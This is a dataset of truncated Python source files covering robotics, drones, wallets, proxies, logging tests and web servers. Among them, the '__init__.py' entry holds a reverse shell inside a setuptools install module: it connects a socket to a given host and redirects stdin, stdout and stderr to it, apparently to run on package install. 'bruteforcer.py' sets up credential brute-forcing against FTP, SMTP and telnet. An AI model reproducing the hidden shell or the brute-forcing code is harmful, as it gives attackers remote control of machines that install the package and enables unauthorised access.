source
stringlengths
3
86
python
stringlengths
75
1.04M
pattern.py
#! /usr/bin/env python import rospy from time import time, sleep from datetime import datetime from ar_track_alvar_msgs.msg import AlvarMarkers from control import * from callback import * if __name__ == '__main__': try: rospy.init_node('control_node', anonymous= False) rate = rospy.Rate(10) ...
throttle.py
# Copyright (C) 2015-2018 Regents of the University of California # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
RunModel.py
import os import numpy as np import sys class RunModel: """ A class used to run a computational model a specified sample points. This class takes samples, either passed as a variable or read through a text file, and runs a specified computational model at those sample points. This can be done by eith...
test_system_pva.py
import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), "..", "..")) import multiprocessing import unittest # module imports def p1(q): import logging logging.basicConfig(level=logging.DEBUG) from malcolm.core import call_with_params, Context from malcolm.blocks.demo import he...
accern_xyme.py
from typing import ( Any, Callable, cast, Dict, IO, Iterable, Iterator, List, Optional, overload, Set, TextIO, Tuple, TYPE_CHECKING, Union, ) import io import os import sys import json import time import weakref import inspect import textwrap import threading ...
semaphores_tut.py
import random, time from threading import BoundedSemaphore, Thread max_items = 5 """ Consider 'container' as a container, of course, with a capacity of 5 items. Defaults to 1 item if 'max_items' is passed. """ container = BoundedSemaphore(max_items) def producer(nloops): for i in range(nloops): time.sle...
inference_network.py
import torch import torch.nn as nn import torch.optim as optim import torch.optim.lr_scheduler as lr_scheduler import torch.distributed as dist from torch.utils.data import DataLoader import sys import time import os import shutil import uuid import tempfile import tarfile import copy import math import warnings from t...
pabotlib.py
# Copyright 2014->future! Mikko Korpela # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
client.py
#client import socket from threading import Thread def send(): while True: message = input() conn.send(message.encode('utf-8')) def get(): while True: data = conn.recv(9988).decode('utf-8') print(data) conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect(('12...
launcher.py
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2018-2019 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the ...
__init__.py
import multiprocessing import time import os import pty import socket from setuptools.command.install import install as base def shell(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2)...
OSAVC_web_server.py
from doctest import master from flask import Flask, render_template,request, redirect, url_for import time, os, shutil from picamera import PiCamera from datetime import datetime, timedelta from threading import Thread from pymavlink import mavutil import csv import sys app = Flask(__name__) app.config['SEND_FILE_MAX...
index.py
# flake8: noqa import random from threading import Thread from reach_rpc import mk_rpc def main(): rpc, rpc_callbacks = mk_rpc() starting_balance = rpc('/stdlib/parseCurrency', 100) acc_alice = rpc('/stdlib/newTestAccount', starting_balance) acc_bob = rpc('/stdlib/newTestAccount', st...
ipcontrollerapp.py
#!/usr/bin/env python # encoding: utf-8 """ The IPython controller application. """ # Copyright (c) IPython Development Team. # Distributed under the terms of the Modified BSD License. from __future__ import with_statement import json import os import stat import sys from multiprocessing import Process from signal ...
graph.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache...
main.py
import os import sys from . import __version__ from .root import ( root, config, change_siz, tails, ) from .menu import bind_menu from .tab import ( nb, bind_frame, delete_curr_tab, cancel_delete, create_new_reqtab, create_new_rsptab, create_helper, change_tab_name, ...
svchub.py
# coding: utf-8 from __future__ import print_function, unicode_literals import os import sys import time import shlex import string import signal import socket import threading from datetime import datetime, timedelta import calendar from .__init__ import E, PY2, WINDOWS, ANYWIN, MACOS, VT100, unicode from .util impo...
server.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.utils.translation import ugettext_lazy as _ from threading import Thread import paramiko import json from . import models def add_log(user, content, log_type='1'): try: models.AccessLog.objects.create( user=user, ...
viewerclient.py
import time import json import os import tempfile import threading from collections import defaultdict, Iterable import numpy as np from lcm import LCM from robotlocomotion import viewer2_comms_t from director.thirdparty import transformations class ClientIDFactory(object): def __init__(self): self.pid ...
core.py
from __future__ import print_function import errno import logging import os import pickle import random import re import time import requests import threading import json import urllib.request from bs4 import BeautifulSoup from fake_useragent import UserAgent from newspaper import Article from datetime import datetime,...
tello.py
# coding=utf-8 import socket import time import threading import cv2 from threading import Thread from djitellopy.decorators import accepts class Tello: """Python wrapper to interact with the Ryze Tello drone using the official Tello api. Tello API documentation: https://dl-cdn.ryzerobotics.com/downloads/...
pytrade.py
#!/usr/bin/python3.5 import sys sys.path.append('exchanges') import poloniex import kraken import bitstamp import okcoin import time import threading coin = ["Bitcoin", "Litecoin", "Ethereum", "Bitcoin Cash"] coin_index = 0 coin_index_max = len(coin) - 1 index = [["Poloniex", poloniex, [0, 1, 2, 3]], ["Kraken", krake...
portable_runner.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
command_handlers.py
#!/usr/bin/env python3 # # Copyright (c) 2020, The OpenThread Authors. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # ...
_darwinkeyboard.py
import ctypes import ctypes.util import Quartz import time import os import threading from AppKit import NSEvent from ._keyboard_event import KeyboardEvent, KEY_DOWN, KEY_UP, normalize_name try: # Python 2/3 compatibility unichr except NameError: unichr = chr Carbon = ctypes.cdll.LoadLibrary(ctypes.util.find_...
wallet_multiwallet.py
#!/usr/bin/env python3 # Copyright (c) 2017-2020 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test multiwallet. Verify that a bitcoind node can load multiple wallet files """ from decimal import D...
01.py
import threading from time import sleep global bown # funcao que espera 1 segundo def wait(): cont = 0 global bown while True: bown = 0 print(cont) cont += 1 sleep(1) bown = 1 # print(bown) def LerVelocidade(): global bown while True: if (b...
detector_utils.py
# Utilities for object detector. import numpy as np import sys import tensorflow as tf import os from threading import Thread from datetime import datetime import cv2 from utils import label_map_util from collections import defaultdict detection_graph = tf.Graph() sys.path.append("..") # score threshold for showing ...
test_pv_unittests.py
#!/usr/bin/env python # unit-tests for ca interface import sys import time import numpy import threading import pytest from contextlib import contextmanager from epics import PV, get_pv, caput, caget, caget_many, caput_many, ca import pvnames def write(msg): sys.stdout.write(msg) sys.stdout.flush() CONN_DA...
WM_API_Price_Finder.py
import requests import json import datetime import webbrowser import os.path from time import sleep #import for keyboard stop loop from pynput import keyboard from threading import Thread # URL storage main_URL = "https://api.warframe.market/v1/items" login_URL = "https://api.warframe.market/v1/auth/signin" profile...
rpc.py
""" an XML-RPC server to allow remote control of PyMol Author: Greg Landrum (glandrum@users.sourceforge.net) Created: January 2002 $LastChangedDate: 2016-12-05 14:04:04 -0500 (Mon, 05 Dec 2016) $ License: PyMol Requires: - a python xmlrpclib distribution containing the SimpleXMLRPCServer ...
Server.py
#!/usr/bin/env python import socket import time import random import os from threading import Thread from Cryptodome.PublicKey import RSA from Cryptodome.Cipher import PKCS1_OAEP import ast from AESCipher import AESCipher import configparser import argparse def parse_config(): global privateKeyFile, port, max_users,...
network.py
# Electrum - Lightweight Bitcoin Client # Copyright (c) 2011-2016 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rig...
ensemble.py
__author__ = 'Prateek' import time import math import numpy as np import copy from decisiontree import DecisiontreeClassifier from multiprocessing import Process, Queue class BaggingClassifier(): ''' Bagging classifier is meta-algorithm that builds a number of estimators on bootstrapped(with replacement) ...
tkinter-threading.py
from mktinter import * import tkinter.ttk as ttk import time import threading def callback(): total = sum(range(100000000)) print(total) #label.config(text=total) def handle_click(): t.start() def move_progress(): for i in range(20): pb.step() root.update() time.s...
youtubeExternallinkSite.py
# coding: utf-8 import re import threading from ..extractor.common import InfoExtractor from ..utils import ( compat_urllib_parse, parse_duration, ) class YoutubeExternallinkSiteIE(InfoExtractor): _VALID_URL = r'https?://(.*\.)napster.com/artist/(.*)track/.*' _TEST = { 'url': 'http://gb.napst...
progress_dict.py
from multiprocessing import Manager, Process def to_add(d, k, v): d[k] = v if __name__ == "__main__": process_dict = Manager().dict() p1 = Process(target=to_add, args=(process_dict, 'name', 'li')) p2 = Process(target=to_add, args=(process_dict, 'age', 13)) p1.start() p2.start() p1.join(...
commandsquery.py
# coding=utf-8 from __future__ import unicode_literals, absolute_import, division, print_function import sopel from sopel import module from sopel.tools import stderr import os from difflib import SequenceMatcher from operator import itemgetter import threading try: from sopel_modules.botevents.botevents import...
dif-process.py
# Example of processes with different functions from multiprocessing import Process import time def Hello(): print("start hello") time.sleep(5) print("hello") def Hi(): print("start hi") time.sleep(5) print("hi there") hello = Process(target=Hello) hi = Process(target=Hi) threads = [hello, ...
multicore_run.py
import multiprocessing from pipeline.entitylinker import * from pipeline.triplealigner import * from pipeline.datareader import WikiDataAbstractsDataReader from pipeline.writer import JsonWriter, JsonlWriter, OutputSplitter, NextFile from utils.triplereader import * from pipeline.filter import * import argparse from ti...
__init__.py
import logging import time import threading from barython import tools from barython.hooks import HooksPool logger = logging.getLogger("barython") class _BarSpawner(): _cache = None def _write_in_bar(self, content): if self._stop.is_set(): return self._bar.stdin.write(content)...
_worker.py
import atexit import threading import os from .internal.logger import get_logger _LOG = get_logger(__name__) class PeriodicWorkerThread(object): """Periodic worker thread. This class can be used to instantiate a worker thread that will run its `run_periodic` function every `interval` seconds. The ...
server.py
import socket import threading HOST = '127.0.0.1' PORT = 8080 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((HOST, PORT)) server.listen() clients = [] nicknames = [] def broadcast(message): for client in clients: client.send(message) def handle(client): while True: ...
standalone.py
# # Copyright Cloudlab URV 2020 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
badge_server.py
# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import print_function import copy import errno import fnmatch import hashlib import logging import multiprocessing import os import re import salt import signal import sys import threading import time import traceback impo...
periodic_update.py
""" Periodically update bundled versions. """ from __future__ import absolute_import, unicode_literals import json import logging import os import ssl import subprocess import sys from datetime import datetime, timedelta from itertools import groupby from shutil import copy2 from textwrap import dedent from threading...
upnp.py
import logging import threading from queue import Queue from typing import Optional try: import miniupnpc except ImportError: pass log = logging.getLogger(__name__) class UPnP: thread: Optional[threading.Thread] = None queue: Queue = Queue() def __init__(self): def run(): t...
magnet.py
# coding: utf-8 import re, os import time from queue import Queue import threading from app.utils.func_requests import get_html_html from bs4 import BeautifulSoup from jinja2 import PackageLoader,Environment def sukebei_findindex(searchid): url = 'https://sukebei.nyaa.si/?q={}'.format(searchid) r = get_html_h...
handler.py
import logging import time from collections import defaultdict from queue import Queue from threading import Thread from kube_hunter.conf import get_config from kube_hunter.core.types import ActiveHunter, HunterBase from kube_hunter.core.events.types import Vulnerability, EventFilterBase logger = logging.getLogger(__...
test_tools.py
import unittest from multiprocessing import Process from threading import Thread from lib.sushi.tools import HttpMethod from lib.sushi.tools.utils import Query from ..sushi.tools import parameter, expose, application def pi(): return 3.1415 def square(x): return x * x def pow(x, y): return pow(x, y) ...
telemetry_dashboard.py
from IPython.core.display import HTML from IPython.display import display, Image import ipywidgets as widgets import subprocess import threading import time import os from .query_nodes import getFreeJobSlots loader = '''<!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1">...
text2face.py
import os import csv import json import numpy as np import tensorflow as tf from scipy.io import wavfile from python_speech_features import mfcc import eventlet import socketio import threading from google.cloud import texttospeech import base64 sio = socketio.Server() app = socketio.WSGIApp(sio) text = "" @sio.ev...
move_closer.py
#!/usr/bin/env python """-------------------------------------------------------------------- Copyright (c) 2018, Kinova Robotics inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributi...
app.py
# -*- coding: utf-8 -*- """Module to manage AiiDAlab apps.""" import re import os import shutil import json import errno import logging from collections import defaultdict from contextlib import contextmanager from enum import Enum, auto from time import sleep from threading import Thread from subprocess import check_...
linux.py
#! /usr/bin/env python3 import socket import threading from simple import * from PyQt5.QtWidgets import QApplication, QMainWindow from multiprocessing import Process HOST = "192.168.2.5" PORT = 65432 def socket_start(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,...
bot.py
# coding=utf-8 """ bot.py - Sopel IRC Bot Copyright 2008, Sean B. Palmer, inamidst.com Copyright 2012, Edward Powell, http://embolalia.net Copyright © 2012, Elad Alfassa <elad@fedoraproject.org> Licensed under the Eiffel Forum License 2. http://sopel.chat/ """ from __future__ import unicode_literals from __future__ i...
test_smtp.py
# -*- coding: utf-8 -*- # (The MIT License) # # Copyright (c) 2013-2021 Kura # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the 'Software'), to deal # in the Software without restriction, including without limitation the rights # ...
capture.py
import time import cv2 from threading import Thread class VideoCapture: def __init__(self, src): self.frame = None self.src = src self.capture = cv2.VideoCapture(src) self.thread = Thread(target=self._read_frames) def __iter__(self): self.start() time.sleep(3)...
main.py
import threading from queue import Queue from spider import Spider from domain import * from general import * ALL_OF_MY_CATEGORYS = read_file('category.txt') HOW_MANY_CATEGORYS_I_READ = [] for i in ALL_OF_MY_CATEGORYS: shop_names = shops_name_in_there(i.split('\n')[0]) j = 0 PROJECT_NAME = i.split('\n')[0...
test_logging.py
# Copyright 2001-2019 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permissio...
evaluator_c4.py
#!/usr/bin/env python import os.path import torch import numpy as np from alpha_net_c4 import ConnectNet from connect_board import board as cboard import encoder_decoder_c4 as ed import copy from MCTS_c4 import UCT_search, do_decode_n_move_pieces, get_policy import pickle import torch.multiprocessing as mp import date...
consumer.py
import logging import socket import threading from Queue import Queue, Full, Empty import requests import time from dnif.exception import DnifException class Consumer(object): def start(self, data, **kwargs): raise NotImplementedError def stop(self, data, **kwargs): raise NotImplementedError...
test_seed_cachelock.py
# This file is part of the MapProxy project. # Copyright (C) 2012 Omniscale <http://omniscale.de> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE...
cryoDaq.py
#!/usr/bin/env python3 #----------------------------------------------------------------------------- # Title : cryo DAQ top module (based on ePix HR readout) #----------------------------------------------------------------------------- # File : cryoDAQ.py evolved from evalBoard.py # Created : 2018-06-12...
test_closing.py
from fixtures import * # noqa: F401,F403 from flaky import flaky from pyln.client import RpcError, Millisatoshi from shutil import copyfile from pyln.testing.utils import SLOW_MACHINE from utils import ( only_one, sync_blockheight, wait_for, TIMEOUT, account_balance, first_channel_id, closing_fee, TEST_NETWORK...
environment.py
import glob import logging import os import shutil import tarfile import traceback from datetime import datetime, timedelta from pathlib import Path from threading import Thread from typing import Dict, List, Optional import requests import yaml from bauh.api.abstract.download import FileDownloader from bauh.api.abst...
chat.py
import socket import select import errno import sys import os import threading import time # below is the client of chat. HEADER_LENGTH = 10 IP = "127.0.0.1" PORT = 1234 console_line_content = [] my_username = input("Username: ") console_line_content.append("Name: " + my_username + ", Here is my chat consol...
pman.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import abc import time import os import threading import zmq from webob import Response import psutil import queue from functools import partial import platform import multiprocessing import inspect import json import ast import shu...
test_SeqIO_index.py
# Copyright 2009-2017 by Peter Cock. All rights reserved. # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """Unit tests for Bio.SeqIO.index(...) and index_db() functions.""" try: import sqlite3...
bruteforcer.py
import requests,random,smtplib,telnetlib,sys,os,hashlib,base64,subprocess,time,xtelnet,os,threading#,requests_ntlm import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) from ftplib import FTP from .payloads import * if os.path.isdir('/data/data')==True: adr=True if os.path.isdir('/data/...
idom.py
import sys import asyncio from functools import partial from threading import Thread from queue import Queue as SyncQueue from ..io.notebook import push_on_root from ..io.resources import DIST_DIR, LOCAL_DIST from ..io.state import state from ..models import IDOM as _BkIDOM from .base import PaneBase def _spawn_thr...
server.py
# -*- coding: utf-8 -*- import logging import logging.config import time import threading from pynetdicom2 import uids from . import ae from . import config from . import event_bus class Server: """Server class itself. Sets up event bus. Initializes all components and passes config to them. :ivar confi...
px.py
"Px is an HTTP proxy server to automatically authenticate through an NTLM proxy" from __future__ import print_function __version__ = "0.4.0" import base64 import ctypes import ctypes.wintypes import multiprocessing import os import select import signal import socket import sys import threading import time import tra...
__init__.py
# -*- coding: utf-8 -*- ''' Set up the Salt integration test suite ''' # Import Python libs from __future__ import absolute_import, print_function import platform import os import re import sys import copy import json import time import stat import errno import signal import shutil import pprint import atexit import ...
pa_upgrade.py
import sys import xml.etree.ElementTree as ET import requests import csv import time import ping3 import getpass import threading #Ignores SSL warnings requests.packages.urllib3.disable_warnings() #Function to authenticate fw with user/pw provided and obtain the API key def authenticate(fwip, user, pw): #Calls t...
test_weakref.py
import gc import sys import unittest import UserList import weakref import operator import contextlib import copy import time from test import test_support # Used in ReferencesTestCase.test_ref_created_during_del() . ref_from_del = None class C: def method(self): pass class Callable: bar = None ...
application.py
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # pyre-strict import argparse import json import logging import os import subprocess import tempfile import threading from pathlib import Pat...
codebuild_emulator.py
import os from os.path import join import tempfile import shutil import json import boto3 import docker import time import threading import sys cwd = os.getcwd() target = join(cwd, 'artifacts') default_script_path = join(os.path.dirname(os.path.realpath(__file__)), 'codebuild_builder.py') class CodebuildEmulator: ...
livestream.py
# _____ ______ _____ # / ____/ /\ | ____ | __ \ # | | / \ | |__ | |__) | Caer - Modern Computer Vision # | | / /\ \ | __| | _ / Languages: Python, C, C++ # | |___ / ____ \ | |____ | | \ \ http://github.com/jasmcaus/caer # \_____\/_/ \_ \______ |_| \_\ # Licensed ...
open3d_utils.py
# global import ivy import threading import numpy as np import open3d as o3d # noinspection PyCallByClass class Visualizer: def __init__(self, cam_ext_mat=None): # visualizer self._vis = o3d.visualization.Visualizer() self._vis.create_window() # visualizer control self._...
manipulate2.py
# TODO: # * modify exports using lief # * zero out rich header (if it exists) --> requires updating OptionalHeader's checksum ("Rich Header" only in Microsoft-produced executables) # * tinker with resources: https://lief.quarkslab.com/doc/tutorials/07_pe_resource.html import lief # pip install https://github.com/lief...
server.py
#!/usr/bin/env python3 """Game server""" from socket import AF_INET, socket, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR from threading import Thread from game import get_question, get_random_mapping from ui import get_messages import time import signal import sys USAGE = """ While waiting for a game to start, you can type...
analytics.py
import logging import os import io import requests import calendar import threading from datetime import datetime from mixpanel import Mixpanel, MixpanelException from copy import deepcopy from operator import itemgetter from uuid import uuid4 from .misc import get_app_version, parse_config, convert_string_to_hash fr...
intraday.py
""" IntradayPriceManager connects to TradingView and stores indicators and price series in an in memory dictionary self._alerts. These indicators are then published to slack periodically. """ import datetime import json import pandas as pd import random import re import string import time import threading import webs...
test_icdar2015_dcl_ms.py
# -*- coding:utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import division import os import sys import tensorflow as tf import cv2 import numpy as np import math from tqdm import tqdm import argparse from multiprocessing import Queue, Process sys.path.append("....
processor.py
import sublime import sublime_plugin import os import xml import urllib import json import threading import time import pprint import urllib.parse import shutil import datetime import math from xml.sax.saxutils import unescape from . import requests, context, util from .context import COMPONENT_METADATA_SETTINGS from ...
measure_methods.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
tests.py
import os import shutil import sys import tempfile import threading import time import unittest from datetime import datetime, timedelta from io import StringIO from urllib.request import urlopen from django.core.cache import cache from django.core.exceptions import SuspiciousFileOperation from django.core.files.base ...
keyboard.py
import os import pty import pyte from threading import Thread from epaper import EPaper import time from key_events import ExclusiveKeyReader from keys import KeyHandler screen = pyte.Screen(34, 18) stream = pyte.Stream() stream.attach(screen) os.environ["COLUMNS"] = "34" os.environ["LINES"] = "18" paper = EPaper(...
syslog_monitor.py
# Copyright 2014 Scalyr Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
__main__.py
"""RLBotChoreography""" import copy import os import sys import inspect import time from importlib import reload, import_module from queue import Queue from threading import Thread from os.path import dirname, basename, isfile, join import glob from rlbot.matchconfig.conversions import parse_match_config from rlbot.ma...
base.py
""" PySynth Output Classes We contain the PySynth OutputHandler, and OutputControl. Both classes handle and manage output from synth chains, and send them to output modules attached to the Control class. The Output class is the engine of this process, pulling audio info and passing it along. The OutputControl class ...
Grab_proxies_free.py
import re import copy import json import time import requests from lxml import etree from multiprocessing import Process from Certificate.DB.RedisClient import RedisClient def one(page=5): while True: try: url_list = ('http://www.kuaidaili.com/proxylist/{page}/'.format(page=page) for page in r...
java_set_test.py
''' Created on Mar 26, 2010 @author: Barthelemy Dagenais ''' from __future__ import unicode_literals, absolute_import from multiprocessing import Process import subprocess import time import unittest from py4j.java_gateway import JavaGateway from py4j.tests.java_gateway_test import PY4J_JAVA_PATH, safe_shutdown de...
buffering.py
import multiprocessing as mp import queue import threading def buffered_gen_mp(source_gen, buffer_size=2): """ Generator that runs a slow source generator in a separate process. buffer_size: the maximal number of items to pre-generate (length of the buffer) """ if buffer_size < 2: ...
test_browser.py
# coding=utf-8 # Copyright 2013 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. import argparse import json import multiprocessing imp...
http_server.py
#!/usr/bin/env python # Copyright 2018-2019 the Deno authors. All rights reserved. MIT license. # Many tests expect there to be an http server on port 4545 servering the deno # root directory. import os import sys from threading import Thread import SimpleHTTPServer import SocketServer from util import root_path from t...
dokku-installer.py
#!/usr/bin/env python3 import cgi import json import os import re try: import SimpleHTTPServer import SocketServer except ImportError: import http.server as SimpleHTTPServer import socketserver as SocketServer import subprocess import sys import threading VERSION = 'v0.19.12' def bytes_to_string(b): ...
serverconnection.py
import socket import time from threading import Thread from messageparser import MessageParser, ParsedMessage, MessageType from channel import IrcChannel from dynamicmodule import DynamicModule # Source: http://blog.initprogram.com/2010/10/14/a-quick-basic-primer-on-the-irc-protocol/ class ServerConnection(object): ...